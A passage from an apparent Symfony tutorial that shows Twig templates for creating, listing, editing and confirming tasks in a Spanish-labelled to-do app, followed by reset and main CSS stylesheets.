{% block header %}
	&lt;div id=&quot;header&quot;&gt;
		&lt;div id=&quot;titulo-centro&quot;&gt;
			&lt;h1&gt;INSERTAR NUEVA TAREA&lt;/h1&gt;
		&lt;/div&gt;
	&lt;/div&gt;
{% endblock header %}
&nbsp;
{% block breadcrumbs %}
		&lt;ul&gt;
			&lt;li class&quot;=first&quot;&gt;&lt;a href=&quot;/&quot;&gt;HOME &lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;actual&quot;&gt;&lt;a href=&quot;/curso/template&quot;&gt;Template&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;last&quot;&gt;&lt;a href=&quot;/curso/new2&quot;&gt;Nueva tarea&lt;/a&gt;&lt;/li&gt;
&nbsp;
		&lt;/ul&gt;
{% endblock breadcrumbs %}
&nbsp;
{% block maincolumn %}
&nbsp;
{% block message %}
&nbsp;
{% endblock message %}
&nbsp;
&lt;div id=&quot;form-div&quot; style=&quot;width: 800px; margin:auto; padding:10px;&quot;&gt;
	&lt;form action=&quot;{{ path('cursoTaskBundle_task_new2') }}&quot; method=&quot;post&quot; {{ form_enctype(form) }}&gt;
&nbsp;
		&lt;div id=&quot;errores_form&quot; class=&quot;error&quot;&gt;
			&lt;!-- errores generales del formulario --&gt;
			{{ form_errors(form) }}
		&lt;/div&gt;
&nbsp;
		&lt;div id=&quot;formcontent&quot;&gt;
			&lt;table style=&quot;border-collapse:separate; border-spacing:1em;&quot;&gt;
				&lt;tr&gt;
					&lt;td&gt;{{ form_label(form.task) }}&lt;/td&gt;
					&lt;td&gt;{{ form_widget(form.task) }}&lt;/td&gt;
					&lt;td class=&quot;error&quot;&gt;{{ form_errors(form.task) }}&lt;/td&gt;
				&lt;/tr&gt;
				&lt;tr&gt;
					&lt;td&gt;{{ form_label(form.dueDate) }}&lt;/td&gt;
					&lt;td&gt;{{ form_widget(form.dueDate) }}&lt;/td&gt;
					&lt;td class=&quot;error&quot;&gt;{{ form_errors(form.dueDate) }}&lt;/td&gt;
				&lt;/tr&gt;
				&lt;tr&gt;
					&lt;td&gt;{{ form_label(form.description) }}&lt;/td&gt;
					&lt;td&gt;{{ form_widget(form.description) }}&lt;/td&gt;
					&lt;td class=&quot;error&quot;&gt;{{ form_errors(form.description) }}&lt;/td&gt;
				&lt;/tr&gt;
				&lt;tr&gt;
					&lt;td&gt;{{ form_label(form.url) }}&lt;/td&gt;
					&lt;td&gt;{{ form_widget(form.url) }}&lt;/td&gt;
					&lt;td class=&quot;error&quot;&gt;{{ form_errors(form.url) }}&lt;/td&gt;
				&lt;/tr&gt;
				&lt;tr&gt;&lt;/tr&gt;
				&lt;tr&gt;{{ form_rest(form) }}&lt;/tr&gt;
				&lt;tr&gt;
					&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=&quot;submit&quot; formnovalidate /&gt;&lt;/td&gt;
				&lt;tr&gt;
&nbsp;
			&lt;/table&gt;			
		&lt;/div&gt;
&nbsp;
	    &lt;br /&gt;
	&lt;/form&gt;
&lt;/div&gt;
{% endblock maincolumn %}
&nbsp;
{% block rightcolumn %}
&lt;p&gt;Utiliza el formulario para introducir una tarea nueva&lt;/p&gt;
{% endblock rightcolumn %}</pre></div></div>

<p>Now the one that shows all the tasks in a table: <code>show.html.twig</code>:<br />
Notice how the link to the edit is created!</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">{% extends &quot;cursoTaskBundle:Default:new2desplegado.html.twig&quot; %}
&nbsp;
{% block title %}
			Listado de tareas
{% endblock title %}
&nbsp;
&nbsp;
{% block header %}
	&lt;div id=&quot;header&quot;&gt;
		&lt;div id=&quot;titulo-centro&quot;&gt;
			&lt;h1&gt;MOSTRAR TAREAS&lt;/h1&gt;
		&lt;/div&gt;
	&lt;/div&gt;
{% endblock header %}
&nbsp;
{% block breadcrumbs %}
		&lt;ul&gt;
			&lt;li class&quot;=first&quot;&gt;&lt;a href=&quot;/&quot;&gt;HOME &lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;actual&quot;&gt;&lt;a href=&quot;/curso/template&quot;&gt;Curso&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;last&quot;&gt;Mostrar tareas&lt;/li&gt;
		&lt;/ul&gt;
{% endblock breadcrumbs %}
&nbsp;
{% block maincolumn %}
{% block message %}
	{% if tasks is defined %}
		&lt;table style=&quot;border-spacing: 5px; margin-right: 5px; border-collapse: separate;&quot;&gt;
			&lt;tr style=&quot;font-weight: bold;&quot;&gt;
				&lt;td&gt;&lt;/td&gt;&lt;!-- editar --&gt;
				&lt;!--&lt;td&gt;ID&lt;/td&gt;--&gt;
				&lt;td&gt;NOMBRE&lt;/td&gt;
				&lt;td&gt;FECHA&lt;/td&gt;
				&lt;td&gt;DESCRIPCI&amp;Oacute;N&lt;/td&gt;
				&lt;td&gt;URL&lt;/td&gt;
&nbsp;
			&lt;/tr&gt;
		{% for tarea in tasks %}
			&lt;tr style=&quot;font-size: 0.8em&quot;&gt;
				&lt;td&gt;&lt;a href=&quot; {{ path('cursoTaskBundle_task_edit', { 'id' : tarea.id } ) }}&quot; style=&quot;color:#A90641; font-size:0.9em; &quot;&gt;edit&lt;/a&gt;&lt;/td&gt;&lt;!-- editar --&gt;
				&lt;!--&lt;td&gt;{{ tarea.id }}&lt;/td&gt;--&gt;
				&lt;td&gt;{{ tarea.task }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.dueDate|date(&quot;m/d/Y&quot;)  }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.description }}&lt;/td&gt;
				&lt;td&gt;{{ tarea.url }}&lt;/td&gt;
&nbsp;
			&lt;/tr&gt;
		{% endfor %}
		&lt;/table&gt;
	{% else %}
		&lt;p&gt;No hay tareas. Puedes &lt;a href=&quot;{{ path('cursoTaskBundle_task_new2') }}&quot;&gt;Insertar una nueva tarea&lt;/a&gt;&lt;/p&gt;
	{% endif %}
&nbsp;
{% endblock message %}
{% endblock maincolumn %}
&nbsp;
{% block rightcolumn %}
&nbsp;
{% endblock rightcolumn %}</pre></div></div>

<p>The view for showing the &#8220;Success&#8221; message is called <code>success.html.twig</code>:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">{% extends &quot;cursoTaskBundle:Default:new2desplegado.html.twig&quot; %}
&nbsp;
{% block title %}
			Tarea guardada
{% endblock title %}
&nbsp;
{% block header %}
	&lt;div id=&quot;header&quot;&gt;
		&lt;div id=&quot;titulo-centro&quot;&gt;
			&lt;h1&gt;Tarea guardada&lt;/h1&gt;
		&lt;/div&gt;
	&lt;/div&gt;
{% endblock header %}
&nbsp;
&nbsp;
{% block breadcrumbs %}
		&lt;ul&gt;
			&lt;li class&quot;=first&quot;&gt;&lt;a href=&quot;/&quot;&gt;HOME &lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;actual&quot;&gt;&lt;a href=&quot;/curso/template&quot;&gt;Template&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;last&quot;&gt;Tarea completada&lt;/li&gt;
		&lt;/ul&gt;
{% endblock breadcrumbs %}
&nbsp;
{% block maincolumn %}
{% block message %}
{{ message|raw }}
&lt;br /&gt;&lt;br /&gt;
&lt;p&gt;Utiliza los enlaces del menu para realizar una nueva tarea o visualizar las tareas existentes&lt;/p&gt;
{% endblock message %}
{% endblock maincolumn %}</pre></div></div>

<p>The view associated with the &#8220;EDIT TASK X&#8221; is <code>edit2desplegado.html.twig</code>:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">{# src/curso/TaskBundle/Resources/views/Default/new2desplegado.html.twig #}
{% extends &quot;cursoTaskBundle:Default:template-base-curso.html.twig&quot; %}
&nbsp;
{% block title %}
			Modificar tarea
{% endblock title %}
&nbsp;
{% block header %}
	&lt;div id=&quot;header&quot;&gt;
		&lt;div id=&quot;titulo-centro&quot;&gt;
			&lt;h1&gt;MODIFICAR TAREA&lt;/h1&gt;
		&lt;/div&gt;
	&lt;/div&gt;
{% endblock header %}
&nbsp;
{% block breadcrumbs %}
		&lt;ul&gt;
			&lt;li class&quot;=first&quot;&gt;&lt;a href=&quot;/&quot;&gt;HOME &lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;actual&quot;&gt;&lt;a href=&quot;/curso/template&quot;&gt;Template&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;last&quot;&gt;Editar tarea&lt;/li&gt;
&nbsp;
		&lt;/ul&gt;
{% endblock breadcrumbs %}
&nbsp;
{% block maincolumn %}
&nbsp;
{% block message %}
&nbsp;
{% endblock message %}
&nbsp;
&lt;div id=&quot;form-div&quot; style=&quot;width: 800px; margin:auto; padding:10px;&quot;&gt;
	&lt;form action=&quot;{{ path('cursoTaskBundle_task_edit', { 'id' : id } ) }}&quot; method=&quot;post&quot; {{ form_enctype(form) }}&gt;
&nbsp;
		&lt;div id=&quot;errores_form&quot; class=&quot;error&quot;&gt;
			&lt;!-- errores generales del formulario --&gt;
			{{ form_errors(form) }}
		&lt;/div&gt;
&nbsp;
		&lt;div id=&quot;formcontent&quot;&gt;
			&lt;table style=&quot;border-collapse:separate; border-spacing:1em;&quot;&gt;
				&lt;tr&gt;
					&lt;td&gt;{{ form_label(form.task) }}&lt;/td&gt;
					&lt;td&gt;{{ form_widget(form.task) }}&lt;/td&gt;
					&lt;td class=&quot;error&quot;&gt;{{ form_errors(form.task) }}&lt;/td&gt;
				&lt;/tr&gt;
				&lt;tr&gt;
					&lt;td&gt;{{ form_label(form.dueDate) }}&lt;/td&gt;
					&lt;td&gt;{{ form_widget(form.dueDate) }}&lt;/td&gt;
					&lt;td class=&quot;error&quot;&gt;{{ form_errors(form.dueDate) }}&lt;/td&gt;
				&lt;/tr&gt;
				&lt;tr&gt;
					&lt;td&gt;{{ form_label(form.description) }}&lt;/td&gt;
					&lt;td&gt;{{ form_widget(form.description) }}&lt;/td&gt;
					&lt;td class=&quot;error&quot;&gt;{{ form_errors(form.description) }}&lt;/td&gt;
				&lt;/tr&gt;
				&lt;tr&gt;
					&lt;td&gt;{{ form_label(form.url) }}&lt;/td&gt;
					&lt;td&gt;{{ form_widget(form.url) }}&lt;/td&gt;
					&lt;td class=&quot;error&quot;&gt;{{ form_errors(form.url) }}&lt;/td&gt;
				&lt;/tr&gt;
				&lt;tr&gt;&lt;/tr&gt;
				&lt;tr&gt;{{ form_rest(form) }}&lt;/tr&gt;
				&lt;tr&gt;
					&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=&quot;submit&quot; formnovalidate /&gt;&lt;/td&gt;
				&lt;tr&gt;
&nbsp;
			&lt;/table&gt;			
		&lt;/div&gt;
&nbsp;
	    &lt;br /&gt;
	&lt;/form&gt;
&lt;/div&gt;
{% endblock maincolumn %}
&nbsp;
{% block rightcolumn %}
&lt;p&gt;Utiliza el formulario para editar la tarea nueva&lt;/p&gt;
{% endblock rightcolumn %}</pre></div></div>

<p>Now the <strong>stylesheets</strong> (remember to put them into <code>Resources\public\css\layout\</code> !)</p>
<p><code>reset.css</code> (compressed):</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">html<span style="color: #00AA00;">,</span>body<span style="color: #00AA00;">,</span>div<span style="color: #00AA00;">,</span>span<span style="color: #00AA00;">,</span>applet<span style="color: #00AA00;">,</span>object<span style="color: #00AA00;">,</span>iframe<span style="color: #00AA00;">,</span>h1<span style="color: #00AA00;">,</span>h2<span style="color: #00AA00;">,</span>h3<span style="color: #00AA00;">,</span>h4<span style="color: #00AA00;">,</span>h5<span style="color: #00AA00;">,</span>h6<span style="color: #00AA00;">,</span>p<span style="color: #00AA00;">,</span>blockquote<span style="color: #00AA00;">,</span>pre<span style="color: #00AA00;">,</span>a<span style="color: #00AA00;">,</span>abbr<span style="color: #00AA00;">,</span>acronym<span style="color: #00AA00;">,</span>address<span style="color: #00AA00;">,</span>big<span style="color: #00AA00;">,</span>cite<span style="color: #00AA00;">,</span>code<span style="color: #00AA00;">,</span>del<span style="color: #00AA00;">,</span>dfn<span style="color: #00AA00;">,</span>em<span style="color: #00AA00;">,</span><span style="color: #000000; font-weight: bold;">font</span><span style="color: #00AA00;">,</span>img<span style="color: #00AA00;">,</span>ins<span style="color: #00AA00;">,</span>kbd<span style="color: #00AA00;">,</span>q<span style="color: #00AA00;">,</span>s<span style="color: #00AA00;">,</span>samp<span style="color: #00AA00;">,</span>small<span style="color: #00AA00;">,</span>strike<span style="color: #00AA00;">,</span>strong<span style="color: #00AA00;">,</span>sub<span style="color: #00AA00;">,</span>sup<span style="color: #00AA00;">,</span>tt<span style="color: #00AA00;">,</span>var<span style="color: #00AA00;">,</span>b<span style="color: #00AA00;">,</span>u<span style="color: #00AA00;">,</span>i<span style="color: #00AA00;">,</span><span style="color: #993333;">center</span><span style="color: #00AA00;">,</span>dl<span style="color: #00AA00;">,</span>dt<span style="color: #00AA00;">,</span>dd<span style="color: #00AA00;">,</span>ol<span style="color: #00AA00;">,</span>ul<span style="color: #00AA00;">,</span>li<span style="color: #00AA00;">,</span>fieldset<span style="color: #00AA00;">,</span>form<span style="color: #00AA00;">,</span>label<span style="color: #00AA00;">,</span>legend<span style="color: #00AA00;">,</span>table<span style="color: #00AA00;">,</span>caption<span style="color: #00AA00;">,</span>tbody<span style="color: #00AA00;">,</span>tfoot<span style="color: #00AA00;">,</span>thead<span style="color: #00AA00;">,</span>tr<span style="color: #00AA00;">,</span>th<span style="color: #00AA00;">,</span>td<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>padding<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>border<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>outline<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>font-<span style="color: #000000; font-weight: bold;">size</span><span style="color: #00AA00;">:</span><span style="color: #933;">100%</span><span style="color: #00AA00;">;</span>vertical-align<span style="color: #00AA00;">:</span><span style="color: #993333;">baseline</span><span style="color: #00AA00;">;</span>background<span style="color: #00AA00;">:</span><span style="color: #993333;">transparent</span><span style="color: #00AA00;">&#125;</span>body<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">line-height</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">1</span><span style="color: #00AA00;">&#125;</span>ol<span style="color: #00AA00;">,</span>ul<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">list-style</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">&#125;</span>blockquote<span style="color: #00AA00;">,</span>q<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">quotes</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">&#125;</span>blockquote<span style="color: #3333ff;">:before</span><span style="color: #00AA00;">,</span>blockquote<span style="color: #3333ff;">:after</span><span style="color: #00AA00;">,</span>q<span style="color: #3333ff;">:before</span><span style="color: #00AA00;">,</span>q<span style="color: #3333ff;">:after</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">content</span><span style="color: #00AA00;">:</span><span style="color: #ff0000;">''</span><span style="color: #00AA00;">;</span>content<span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">&#125;</span><span style="color: #3333ff;">:focus</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">outline</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">&#125;</span>ins<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">&#125;</span>del<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">line-through</span><span style="color: #00AA00;">&#125;</span>table<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">border-collapse</span><span style="color: #00AA00;">:</span><span style="color: #993333;">collapse</span><span style="color: #00AA00;">;</span>border-spacing<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">&#125;</span></pre></div></div>

<p><code>mainStyle.css</code></p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.tt1</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#FF0000</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.tt2</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#FF00FF</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.tt3</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#FFFF00</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
html <span style="color: #00AA00;">&#123;</span> <span style="color: #00AA00;">&#125;</span>
&nbsp;
body <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font</span><span style="color: #00AA00;">:</span> <span style="color: #933;">13px</span>/<span style="color: #cc66cc;">1.5</span> Verdana<span style="color: #00AA00;">,</span> Arial<span style="color: #00AA00;">,</span> <span style="color: #993333;">sans-serif</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span>../_images/bck2.jpg<span style="color: #00AA00;">&#41;</span> <span style="color: #933;">50%</span> <span style="color: #cc66cc;">0</span> <span style="color: #993333;">repeat-x</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
a<span style="color: #3333ff;">:focus </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">outline</span><span style="color: #00AA00;">:</span> <span style="color: #933;">1px</span> <span style="color: #993333;">dotted</span> <span style="color: #993333;">invert</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
a<span style="color: #3333ff;">:link </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
a<span style="color: #3333ff;">:visited </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
a<span style="color: #3333ff;">:hover </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
a<span style="color: #3333ff;">:active </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #cc00cc;">#footer</span> a<span style="color: #3333ff;">:link </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#666</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#footer</span> a<span style="color: #3333ff;">:visited </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#666</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#footer</span> a<span style="color: #3333ff;">:hover </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#666</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#footer</span> a<span style="color: #3333ff;">:active </span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#666</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">text-decoration</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
hr <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">border-color</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#ccc</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">border-style</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">solid</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">border-width</span><span style="color: #00AA00;">:</span> <span style="color: #933;">1px</span> <span style="color: #cc66cc;">0</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">clear</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">both</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
p <span style="color: #00AA00;">&#123;</span> <span style="color: #00AA00;">&#125;</span>
sup <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">relative</span><span style="color: #00AA00;">;</span>top<span style="color: #00AA00;">:</span> <span style="color: #933;">-3px</span><span style="color: #00AA00;">;</span>vertical-align<span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">top</span><span style="color: #00AA00;">;</span>font-<span style="color: #000000; font-weight: bold;">size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">80%</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
sub <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">relative</span><span style="color: #00AA00;">;</span>bottom<span style="color: #00AA00;">:</span> <span style="color: #933;">-5px</span><span style="color: #00AA00;">;</span>vertical-align<span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">top</span><span style="color: #00AA00;">;</span>font-<span style="color: #000000; font-weight: bold;">size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">80%</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
h1 <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">25px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
h2 <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">23px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
h3 <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">21px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
h4 <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">19px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
h5 <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">17px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
h6 <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">15px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #6666ff;">.xxsmall</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.xsmall</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">12px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.small</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">14px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.<span style="color: #993333;">medium</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">16px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.<span style="color: #993333;">large</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">22px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.xlarge</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">26px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.xxlarge</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">32px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
ol <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">list-style</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">decimal</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
ul <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">list-style</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">square</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
li <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-left</span><span style="color: #00AA00;">:</span> <span style="color: #933;">30px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
p<span style="color: #00AA00;">,</span> dl<span style="color: #00AA00;">,</span> hr<span style="color: #00AA00;">,</span> h1<span style="color: #00AA00;">,</span> h2<span style="color: #00AA00;">,</span> h3<span style="color: #00AA00;">,</span> h4<span style="color: #00AA00;">,</span> h5<span style="color: #00AA00;">,</span> h6<span style="color: #00AA00;">,</span> ol<span style="color: #00AA00;">,</span> ul<span style="color: #00AA00;">,</span> pre<span style="color: #00AA00;">,</span> table<span style="color: #00AA00;">,</span> address<span style="color: #00AA00;">,</span> fieldset <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-bottom</span><span style="color: #00AA00;">:</span> <span style="color: #933;">20px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #cc00cc;">#wrapper</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">overflow</span><span style="color: #00AA00;">:</span><span style="color: #993333;">hidden</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">960px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #933;">20px</span> <span style="color: #993333;">auto</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
